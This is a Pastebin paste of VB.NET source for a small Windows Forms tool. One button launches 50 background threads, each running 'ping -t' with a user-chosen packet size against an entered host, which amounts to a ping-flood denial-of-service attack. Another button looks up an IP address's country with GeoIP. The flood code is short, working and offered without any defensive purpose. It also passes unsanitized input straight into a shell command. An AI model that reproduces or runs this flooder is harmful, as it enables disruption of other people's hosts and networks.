a7m3dalbalawi

Untitled

Jul 18th, 2017
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.82 KB | None | 0 0
  1. Imports System.Text
  2. Public Class Form1
  3.     Dim Noip_host As New StringBuilder(), Attemp As New StringBuilder()
  4.     Private Sub PeButtonAlt1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PeButtonAlt1.Click
  5.         If t1.Text = "" Or t2.Text = "" Then
  6.             MsgBox("Url not Found", MsgBoxStyle.Information)
  7.         Else
  8.             Noip_host.Append(t1.Text) : Attemp.Append(t2.Text)
  9.             Dim st_thread As New Threading.Thread(AddressOf st) : st_thread.IsBackground = True : st_thread.Start()
  10.         End If
  11.     End Sub
  12.     Sub st()
  13.         For i = 0 To 49
  14.             Dim doit_thread As New Threading.Thread(AddressOf doit) : doit_thread.IsBackground = True : doit_thread.Start()
  15.         Next
  16.     End Sub
  17.     Sub doit()
  18.         Try
  19.             Shell("ping -t " + (t1.Text) + " -l " + (t2.Text))
  20.         Catch ex As Exception : End Try
  21.     End Sub
  22.     Private Sub PeButtonAlt2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PeButtonAlt2.Click
  23.         Me.Close()
  24.     End Sub
  25.     Dim GeoIP As New Getcountry(Application.StartupPath & "\GeoIP.dat")
  26.     Dim x As Integer = 0
  27.     Private Sub PeButtonAlt3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PeButtonAlt3.Click
  28.         Try
  29.             Dim item As New ListViewItem
  30.             item.Text = Textbox1.Text
  31.             item.SubItems.Add(GeoIP.LookupCountryName(Textbox1.Text))
  32.             item.SubItems.Add(GeoIP.LookupCountryCode(Textbox1.Text))
  33.             Dim img As Image = Image.FromFile(Application.StartupPath & "\flag\" & GeoIP.LookupCountryCode(Textbox1.Text) & ".png")
  34.             IM.Images.Add(img)
  35.             item.ImageIndex = x
  36.             x = x + 1
  37.             LV1.Items.Add(item)
  38.         Catch ex As Exception : MsgBox(ex.InnerException) : End Try
  39.     End Sub
  40. End Class
Advertisement
Add Comment
Please, Sign In to add comment